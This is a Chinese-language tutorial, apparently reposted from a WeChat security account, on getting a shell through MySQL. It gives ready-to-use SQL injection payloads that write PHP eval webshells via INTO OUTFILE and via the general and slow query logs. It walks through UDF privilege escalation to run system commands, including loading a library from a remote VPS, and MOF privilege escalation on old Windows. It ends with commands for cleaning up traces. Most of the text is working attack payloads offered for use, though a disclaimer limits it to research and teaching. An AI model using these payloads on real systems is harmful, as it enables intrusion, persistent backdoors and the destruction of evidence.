一、写入webshell
1. 前置条件
-
a. 存在注入 -
b. 是否具有写入权限 -
查看权限 show grants
; -
c. 知道目标站点web物理路径 -
d. secure_file_priv -
1). null:表示限制mysql不允许导入或导出 -
2). /tmp:限制mysql只能在/tmp目录中执行导入导出,其他目录不能执行。 -
3). 为空可以写入 -
i. 5.7版本,该参数用于限制 select...into outfile...、load_file()
导出到或读取哪个指定的目录 -
ii. 查看参数值 show variables like '%secure_file_priv%';
-
iii. 参数值含义: -
e. Linux系统权限分配严格,mysql用户创建文件,web可能无法访问
2. 利用union select 写入webshell
union select 1,"<?php @eval($_POST[whoami]);?>",3 into outfile '/var/www/html/shell.php' --+
union select 1,0x3c3f70687020406576616c28245f504f53545b77686f616d695d293b3f3e,3 into outfile "/var/www/html/shell.php"--+
3. 利用分隔符写webshell
;into outfile '物理路径' lines terminated by (hex编码)#
;into outfile '物理路径' fields terminated by (hex编码)#
;into outfile '物理路径' columns terminated by (hex编码)#
;into outfile '物理路径' lines starting by (hex编码)#
4. 日志写入webshell
-
a. 查询日志是否开启show variables like '%general%'; -
b. 写入流程 -
i. show variables like '%general%'; # 查看查询日志全局配置 -
ii. set global general_log = ON; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。 -
iii. set global general_log_file = '/var/www/html/shell.php'; # 设置日志文件地址 -
iv. select '一句话'; # 查询一句话,此时日志文件shell.php中将写入webshell -
v. set global general_log=OFF; # 关闭general log模式
5. 慢查询
原理
-
当语句执行时间超过系统默认时间, 语句会被记入慢查询日志。满查询到默认禁用。
通过long_query_time
选项来设置时间值。
-
查询show global variables like '%long_query_time%';
执行流程
i. 查看是否慢查询日志show variables like "%slow_query_log%"
ii. set global slow_query_log = "ON";
iii. set global slow_query_log_file =” D:/php/www/shell.php”
iv. select "<?php @eval($_POST['cmd']); ?>" or sleep(11);
二、执行系统命令
1. udf提权
原理
-
使用时需要调用.dll或.so,通过恶意的dll引入自定义函数,执行系统命令。
前置条件
-
a. mysql拥有insert和delete权限 -
b. 拥有可以将恶意dll写入相应目录的权限
dll存放位置
-
a. 如果MySQL版本小于5.1且为Windows系统,则 udf.dll
文件存放在C:windows
或者C:windowssystem32
目录下。 -
b. 如果MySQL版本大于5.1, udf.dll
文件必须放置在MySQL安装目录的lib/plugin
文件夹下,该plugin
目录默认不存在需要创建。
流程步骤
-
a. 查看secure_file_priv的值(需要为空) -
b. 查看动态链接库的存放位置 -
i. show variables like '%compile%'; #
查看主机版本及架构 -
ii. show variables like '%plugin%'; #
查看plugin
目录 -
iii. 目录不存在需要手工创建 lib/plugin
-
c. 构造的恶意动态链接库文件写入 plugin
(.so是Linux系统dll为Windows服务器) -
位置: /usr/share/metasploit-framework/data/exploits/mysql
-
1). 位置: sqlmap/data/udf/mysql
-
2). 处理:在 extra/cloak
目录下有解码工具对原文件进行解密python3 cloak.py -d -i <动态链接库文件>
-
i. sqlmap -
ii. msf -
iii. 将内容进行十六进制编码 select hex(load_file('lib_mysqludf_sys_64.so')) into outfile "udf_64.hex";
-
iv. 写入 select 0x7F00 into dumpfile "/www/server/mysql/lib/plugin/udf.so";
-
v. 数据过长需要分段写入,先创建一个表,将十六进制数据分段写入表中,通过update配合concat将数据拼接进去。
create table temp(data longblob); #建表
insert into temp(data) values (0x7F4);
update temp set data = concat(data,0x00000);
-
vi. 通过 load_file()
函数,函数支持远程加载,将udf文件放在vps上select load_file('\\x.x.x.xudf.so') into dumpfile "/www/server/mysql/lib/plugin/udf.so"
-
vii. 引入udf函数并调用函数执行系统 -
1). create function sys_eval returns string soname 'udf.so';
-
2). sys_eval:我们要引入的函数名 -
3). udf.dll:我们要从中引入函数的链接库文件 -
viii. 清理痕迹: drop function sys_eval;
mof提权
mof
-
a. mof是Windows系统的文件( c:/windows/system32/wbem/mof/nullevt.mof
),“托管对象格式” -
b. 托管对象格式文件是创建和注册提供程序、事件类别和时间的简便方法。 -
c. 作用是每隔五秒监控进程创建死亡
前置条件
-
a. Windows 03 以及以下版本 -
b. mof目录具有读写权限 -
c. secure-file-priv
参数为空
利用:
-
a. 需要将mof脚本上传至有读写权限的路径下 -
b. select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";
痕迹清理
a. net stop winmgmt # 停止 winmgmt 服务
b. rmdir /s /q C:Windowssystem32wbemRepository #删除 Repository 文件夹
c. del C:Windowssystem32wbemmofgoodtest.mof /F /S # 手动删除 mof 文件
d. net start winmgmt # 重新启动服务
原文始发于微信公众号(破浪信安):【讲讲数据库getshell】mysql篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论